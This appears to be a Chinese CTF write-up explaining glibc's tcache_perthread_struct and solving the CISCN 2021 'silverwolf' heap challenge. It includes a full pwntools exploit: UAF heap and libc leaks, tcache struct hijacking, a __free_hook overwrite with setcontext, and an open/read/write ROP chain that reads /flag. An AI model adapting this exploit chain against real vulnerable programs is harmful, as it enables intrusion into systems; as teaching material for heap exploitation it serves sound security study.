首页 > 系统相关 >pwn知识——劫持tcache_perthread_struct(Ubuntu22.04之前)

pwn知识——劫持tcache_perthread_struct(Ubuntu22.04之前)

时间:2024-04-27 11:36:04浏览次数:32  
标签:tcache struct libc Ubuntu22.04 base heap p64

前言(可忽略)

堆不愧是堆...知识点真的要多用动调查看堆的状态才好理解

tcache_perthread_struct的结构

源码

#define TCACHE_MAX_BINS 64
/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

我们可以看到,该结构体有两个数组,一个是counts,另一个是entry

counts数组

counts的数组记录的是tcache上各个bin上的堆个数,如下图
image
这是bins的情况
image
这是heap_base的情况,也就是我们的tcache_perthread_struct的状况,被红框框起来的地方就是counts记录个数的区域
这是我们的攻击点之一
image
这是struct里的counts个数,可以看到个数是对应的

entry指针数组

如题,entry储存的是各个指针,存储的是各个bin链表上的首chunk的fd指针
而entry就储存在counts之下,这也是我们的另一个攻击点

大小

一般而言是0x250或者0x290,依旧前0x10是chunk头,记录该结构体的大小

攻击方法

通过TAF泄露出heap_base的地址,heap_base所在的区域就是tcache_perthread_struct,但我们不能修改它的chunk头,否则会破坏结构体。我们攻击的地方是从heap_base + 0x10的地方,这个地方就是我们的data域,首先伪造counts,然后就是修改entry为我们的恶意ROP链。常见的攻击方式有setcontext+orw(结不结合SROP因题而异)

例题[CISCN 2021 初赛]silverwolf

checksec

image
只能说堆题是这样的

源审

main

image
很经典的菜单
其中sub_C70是初始化和sandbox,仅允许使用orw

add

image
add的重点就是这几个,index只能为0,size不超过0x78,buf会指向v2

edit

image
索引依然是0,v0会指向buf,也就是我们最近申请的malloc,意味着我们能够修改的堆块只能是我们最近申请的堆块。后面还藏着个off-by-one漏洞,但是不重要,把以往的send变成sendline就好

show

image
标准的show函数,输出索引为0的堆块内容

delete

image
free索引为0的堆块,没有置空指针,明显的UAF漏洞

总结

因为索引只能为0,意味着我们只能对最近申请的堆块进行操作,大大限制了我们利用UAF的能力,没法用double free,但是我们仍可以malloc到一个我们想要的地址,只需要修改堆块里的fd指针即可,结合sandbox里只允许我们用orw,那么很明显就是通过劫持tcache_perthread_struct来布置恶意ROP链

动调过程

我先把各个功能的函数定义出来

def add(size):
    p.sendlineafter('Your choice: ',str(1))
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Size:',str(size))

def edit(content):
    p.sendlineafter('Your choice: ',str(2))
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Content:',content)

def show():
    p.sendlineafter('Your choice: ',str(3))
    p.sendlineafter('Index:',str(0))

def delete():
    p.sendlineafter('Your choice: ',str(4))
    p.sendlineafter('Index:',str(0))

泄露heap_base

先看看初始bins的情况
image
因为sandbox的存在,初始就会有一些堆块生成
接下来就是老一套了,UAF泄露出heap_base,都看到这了应该就不用多解释是怎么泄露出来的吧()

#gdb.attach(p)
add(0x78)
delete()
show()

p.recvuntil('Content: ')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.success('heap_addr==>'+hex(heap_addr))
heap_base = heap_addr - 0x11b0
log.success('heap_base==>'+hex(heap_base))

泄露libc_base

edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
#gdb.attach(p)
for i in range(7):
    #sleep(0.5)
    delete()
    edit(p64(0) * 2) #清除fd和bk指针,使其能够持续free下去
delete()
show()
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 #free tcache_perthread_struct into unsorted bins
log.success('main_arena==>'+hex(main_arena))
malloc_hook = main_arena - 0x10
log.success('malloc_hook==>'+hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
log.success('libc_base==>'+hex(libc_base))
edit(b'\x00' * 0x78) #恢复结构体

在当初free的基础上,将其fd指针修改为heap_base+0x10,两次add劫持到tcache_perthread_struct里,看看动调过程
edit之前
image
edit之后
image
可以看出来已经将其fd指向了tcache_perthread_struct,进行两次malloc即可劫持到里边
此时我们就可以泄露栈地址了,通过修改fd和bk指针欺骗系统让其可以持续free,待其填满0x250所在的bins链表后就可以进入unsorted_bin里泄露main_arena,进而泄露malloc_hook和libc_base
image
image
OK现在泄露完两个基质之后就可以构造了

tcache_bins构造恶意地址

该阶段Payload

rax = libc_base + 0x43ae8
rbp = libc_base + 0x21353
rdi = libc_base + 0x215bf
rdx = libc_base + 0x1b96
rsi = libc_base + 0x23eea
rsp = libc_base + 0x3960
free_hook = libc_base + libc.symbols['__free_hook']
read = libc_base + libc.symbols['read']
write = libc_base + libc.symbols['write']
#syscall = read + 0xf
syscall = libc_base + 0xe5965 #注意,只能是syscall;ret,可以在IDA中使用sequence of bytes寻找,编码为 0xf 0x05 0xc3
mov_rsp_rdi_a0 = libc_base + libc.sym['setcontext'] + 53
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8aa
orw1 = heap_base + 0x3000
orw2 = heap_base + 0x3060
fake_orw1 = heap_base + 0x2000
fake_orw2 = heap_base + 0x20a0

payload = b'\x00' * 0x40 #repair the counts,which is 64 byteds
payload += p64(free_hook) + p64(0) #0x20 0x30
payload += p64(flag_addr) + p64(fake_orw1) #0x40 0x50
payload += p64(fake_orw2) + p64(orw1) #0x60 0x70
payload += p64(orw2) #0x80
#gdb.attach(p)
edit(payload)

在布置恶意地址之前我们先来介绍一个函数setcontext,是我们劫持tcache_perthread_struct的时候相当常用的函数

setcontext

看看它的源码
image
框起来的地方就是我们主要利用的地方,free是rdi寻址,而我们刚好可以利用rdi
setcontext函数就是通过rdi给各个寄存器赋值,但对我们来说只有rsp最重要,当然仅仅有rsp并不够,还要有rip,好在最后有ret指令,可以把执行地址迁移到我们的恶意ROP链上
所以我们通常使用的是setcontext+53,另一个原因是不想引用fldenv指令,防止造成程序崩溃

动调

OK现在该回到动调过程了
先修改counts数组,尔后修改entry为我们布置的地址
image
由于我们没有办法直接修改链表的内容所以我们需要在两个orw地址上再伪造两个地址,一个用来引用free,另一个用来跳转到orw上,我会一一给出解释

	0x20 free_hook-->setcontext
	0x40 存储flag
	0x50 调用free
	0x60 跳转至orw
	0x70 orw的前半部分(因为size只有0x60)
	0x80 orw的后半部分

ORW链+getshell

shellcode = p64(rdi) + p64(flag_addr) + p64(rsi) + p64(0) + p64(rax) + p64(2) + p64(syscall)
shellcode += p64(rdi) + p64(3) + p64(rsi) + p64(orw1) + p64(rdx) + p64(0x100) + p64(read)
shellcode += p64(rdi) + p64(1) + p64(write)

#gdb.attach(p)
add(0x18) #free_hook
edit(p64(mov_rsp_rdi_a0))
add(0x38) #edit flag
edit(b'/flag\x00')
add(0x68) #orw1
edit(shellcode[:0x60]) #the place near the beginning orw
add(0x78) #orw2
edit(shellcode[0x60:]) #the place near the end orw
add(0x58) #fake2
edit(p64(orw1) + p64(ret))
#gdb.attach(p)
add(0x48) #fake1
#gdb.attach(p)
delete()

p.interactive()

来让我们跟着动调一步一步看效果
image
free的时候会调用setcontext+0x53,原理和__malloc_hook是差不多的,我们再跟进
image
第一步会把我们储存在rdi + 0xa0的地址处的值取出来赋给rsp,也就会把我们的rsp迁到我们布置好的恶意ROP链上
image
继续跟进可以看到我们就开始执行ROP链了
image
到这就结束啦,就可以获得flag了

总结

利用tcache_perthread_struct的时候需要精确计算各个地址,步步为营,但如果熟练了就知道大概什么个方式了,很快就能写出来了。不过刚学的时候确实会一个头比两个大,纸上得来终觉浅 绝知此事要躬行,多动调几次就会好理解很多,所以说为什么动调是神!

标签:tcache,struct,libc,Ubuntu22.04,base,heap,p64
From: https://www.cnblogs.com/falling-dusk/p/18161022

相关文章

  • CF911F Tree Destruction
    题目链接:https://www.luogu.com.cn/problem/CF911Fsolution:先求得树的直径,再求得在树的直径上的节点和不在树的直径上的节点。我们考虑优先删除不在直径上的节点,这样不会破坏树的直径,在删完了这些点之后再慢慢删直径上的点。#include<bits/stdc++.h>usingnamespacestd;#def......
  • pwn知识——劫持__malloc_hook(在加入tcache以后)
    导论动调是最好的导师!malloc_hook函数解析malloc_hook是malloc的钩子函数,在执行malloc时,会先检测__malloc_hook的值,如果malloc_hook的值存在,则执行该地址(值里边表现为十六进制,可以成为地址),也就是说,如果我们成功劫持malloc_hook以后并修改它的值为one_gadget,我们就能getshell并......
  • ubuntu22.04改成国内阿里云源。
    先执行:  sb_release-a命令。NoLSBmodulesareavailable.DistributorID: UbuntuDescription: Ubuntu22.04.4LTSRelease: 22.04Codename: jammygogosai@gogosai-MINI-1900A:~$看看内核版本(Codename),如果是focal(旧内核版本) debhttps://mirrors.aliyun.com/ubuntu......
  • Ubuntu22.04版本安装对应版本ROS教程 (小白2024年)
    参考资料:(我是开了加速器,毕竟中间使用了github访问网址,国内免费加速器Steam++,开个github网站加速即可,不开我不知道行不行可以自己一试)ubuntu22.04安装ROS2详细教程-CSDN博客ROS安装详细教程——Ubuntu22.0.4LTS安装-CSDN博客我的虚拟机刚开始设置的是简体中文,此前已经通过......
  • Ubuntu22.04 安装搜狗拼音输入法
    在搜狗拼音输入法官网下载输入法Linux版本文件,是一个deb文件,我下载后放在家目录的下载目录下:sogoupinyin_4.2.1.145_amd64.deb更新源。在终端执行sudoaptupdate安装fcitx输入法框架执行命令sudoaptinstallfcitx设置fcitx为系统输入法:点击左下角的按钮,打开"语言支持",......
  • Ubuntu22.04安装MySQL8
    Ubuntu22.04安装MySQL8第一部分:安装mysql使用apt安装sudoaptupdatesudoaptinstall-ymysql-server安装完成之后自动结束,不需要输入密码。更新用户密码这里默认安装的是mysql8.0版本,因为i没有输入密码;所以无法使用mysql-uroot-p进入mysql,需要执行这个命令(一定要......
  • Ubuntu22.04安装PostgreSQL15
    Ubuntu22.04安装PostgreSQL15启用PostgreSQL包存储库sudosh-c'echo"debhttp://apt.postgresql.org/pub/repos/apt$(lsb_release-cs)-pgdgmain">/etc/apt/sources.list.d/pgdg.list'wget-qO-https://www.postgresql.org/media/keys/ACCC4CF8......
  • Ubuntu22.04安装谷歌浏览器
    参考文档:https://blog.csdn.net/howard2005/article/details/124906494简要概括下:下载Chrome安装包:wgethttps://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb执行命令:sudodpkg-igoogle-chrome-stable_current_amd64.deb执行命令:sudoapt-get......
  • KG2Instructions 和 KG2Prompts 将知识图谱转换为自然语言提示
     KG2Prompts是什么?KG2Prompts是一个用于将知识图谱转换为自然语言提示的工具。它使用预训练的语言模型来生成提示,这些提示可以用于各种任务,例如文本生成、问答和摘要。KG2Prompts的工作原理如下:首先,它将知识图谱转换为一个图结构,其中节点代表实体,边代表实体之间的关系。......
  • [ABC229E] Graph Destruction 题解
    [ABC229E]GraphDestruction题解思路解析题目要求删点,而众所周知删点的代价要大于加点的代价,于是我们考虑倒着处理询问,将每一个删点改成加点,而加点时就用并查集维护连通块即可。code#include<bits/stdc++.h>usingnamespacestd;constintN=2e5+10;intn,m,fa[N];......